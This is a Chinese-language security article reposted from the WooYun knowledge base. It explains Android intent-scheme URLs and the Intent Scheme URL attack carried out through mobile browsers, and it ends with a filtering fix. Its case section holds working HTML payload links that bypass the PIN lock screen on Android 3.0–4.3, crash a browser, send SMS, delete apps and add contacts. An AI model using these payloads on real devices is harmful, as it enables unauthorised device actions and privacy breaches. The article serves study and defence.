作者:
瘦蛟舞
·
2014/08/29 12:19
0x01 Android Intents with Chrome
Android有一個很少人知道的特性可以透過web頁面傳送intent來啟動apps。以前透過網頁啟動app是透過設定iframe的src屬性,例如:
<iframe src="paulsawesomeapp://page1"> </iframe>
此方法適用version 18或者更早版本。其他android瀏覽器也適用。 這個功能在安卓chrome 瀏覽器version 25之後版本發生了改變。不能在透過設定iframe標籤的src屬性來啟動app了。取而代之的是你應該透過自定義scheme實現使用者手勢啟動app或者使用本文描述的“intent:”語法。
1.1 基本語法
“最佳實踐”是構造一個intent插入網頁中使使用者能夠登入app。這為您提供了更多的靈活性在控制應用程式是如何啟動,包括傳透過Intent Extras傳遞額外資訊。 intent-based URI基本語法如下:
intent:
HOST/URI-path // Optional host
#Intent;
package=[string];
action=[string];
category=[string];
component=[string];
scheme=[string];
end;
語法細節見原始碼Android source
1.2 簡單舉例
例子是一個intent登陸應用“Zxing barcode scanner”,語法如下:
intent:
//scan/
#Intent;
package=com.google.zxing.client.android;
scheme=zxing;
end;
設定a標籤發href屬性:
<a href="intent://scan/#Intent;scheme=zxing;package=com.google.zxing.client.android;end"> Take a QR code </a>
Package和host定義在配置檔案中Android Zxing Manifest
1.3 注意事項
如果呼叫activity的intent包含extras,同樣可以包含這些。 Activity只有配置了category filter才有被android.intent.category.BROWSABLE透過這種方式在瀏覽器中開啟,因為這樣表明其是安全的。
1.4 另請參閱
• Android Intents and Intent Filters
• Android Activities
0x02 利用思路
在Android上的Intent-based攻擊很普遍,這種攻擊輕則導致應用程式崩潰,重則可能演變提權漏洞。當然,透過靜態特徵匹配,Intent-Based的惡意樣本還是很容易被識別出來的。 然而最近出現了一種基於Android Browser的攻擊手段——Intent Scheme URLs攻擊。這種攻擊方式利用了瀏覽器保護措施的不足,透過瀏覽器作為橋樑間接實現Intend-Based攻擊。相比於普通Intend-Based攻擊,這種方式極具隱蔽性,而且由於惡意程式碼隱藏WebPage中,傳統的特徵匹配完全不起作用。除此之外,這種攻擊還能直接訪問跟瀏覽器自身的元件(無論是公開還是私有)和私有檔案,比如cookie檔案,進而導致使用者機密資訊的洩露。
0x03 1.3 Intent scheme URL的用法
看一下Intent Scheme URL的用法。
<script>location.href = "intent:mydata#Intent;action=myaction;type=text/plain;end"</script>
從用法上看,還是很好理解的,這裡的程式碼等價於如下Java程式碼:
Intent intent = new Intent("myaction");
intent.setData(Uri.parse("mydata"));
intent.setType("text/plain");
再看一個例子:
intent://foobar/#Intent;action=myaction;type=text/plain;S.xyz=123;i.abc=678;end
上面的語句,等價於如下Java程式碼:
Intent intent = new Intent("myaction");
intent.setData(Uri.pase("//foobar/"));
intent.putExtra("xyz", "123");
intent.putExtra("abc", 678);
其中S代表String型別的key-value,i代表int型別的key-value。 原始碼中提供了Intent.parseUri(String uri)靜態方法,透過這個方法可以直接解析uri,如果想更一步瞭解其中的語法,可以檢視官方原始碼。
0x04 Intent scheme URI的解析及過濾
如果瀏覽器支援Intent Scheme URI語法,一般會分三個步驟進行處理:
- 利用Intent.parseUri解析uri,獲取原始的intent物件;
- 對intent物件設定過濾規則,不同的瀏覽器有不同的策略,後面會詳細介紹;
- 透過Context.startActivityIfNeeded或者Context.startActivity傳送intent; 其中步驟2起關鍵作用,過濾規則缺失或者存在缺陷都會導致Intent Schem URL攻擊。
關鍵函式
Intent.parseUri()
繞過
Intent.setComponent(null);
使用sel;
0x05 烏雲案例
WooYun: qq瀏覽器IntentScheme處理不當
WooYun: 傲遊雲瀏覽器遠端隱私洩露漏洞(需要一定條件)
某瀏覽器對此支援非常好
<a href="intent:#Intent;action=android.settings.SETTINGS;S.:android:show_fragment=com.android.settings.ChooseLockPassword$ChooseLockPasswordFragment;B.confirm_credentials=false;end">
設定繞過Pin碼(android 3.0-4.3)
</a>
<a href="intent:#Intent;component=com.tencent.mtt/com.tencent.mtt.debug.DbgMemWatch;end">
qq瀏覽器崩潰
</a>
<a href="intent:http://drops.wooyun.org/webview.html#Intent;component=com.android.browser/com.android.browser.BrowserActivity;end">
開啟原生瀏覽器
</a>
<a href="intent:smsto:10000#Intent;action=android.intent.action.SENDTO;end">
傳送簡訊
</a><br>
<a href="intent:#Intent;action=android.media.action.STILL_IMAGE_CAMERA;end">
開啟相機
</a><br>
<a href="intent:package:org.wooyun.hiwooyun#Intent;action=android.intent.action.DELETE;end">
刪除應用
</a><br>
<a href="intent:#Intent;action=android.intent.action.INSERT_OR_EDIT;S.name=magic;S.phone=+8610000;i.phone_type=2;type=vnd.android.cursor.item/person;end">
新增聯絡人
</a><br>
0x06 修復
透過以上漏洞的描述,總結得出一種相對比較安全的Intent Filter方法,程式碼如下:
// convert intent scheme URL to intent object
Intent intent = Intent.parseUri(uri);
// forbid launching activities without BROWSABLE category
intent.addCategory("android.intent.category.BROWSABLE");
// forbid explicit call
intent.setComponent(null);
// forbid intent with selector intent
intent.setSelector(null);
// start the activity by the intent
context.startActivityIfNeeded(intent, -1);
0x07 參考
http://www.mbsd.jp/Whitepaper/IntentScheme.pdf
http://blog.csdn.net/l173864930/article/details/36951805
本文章來源於烏雲知識庫,此映象為了方便大家學習研究,文章版權歸烏雲知識庫!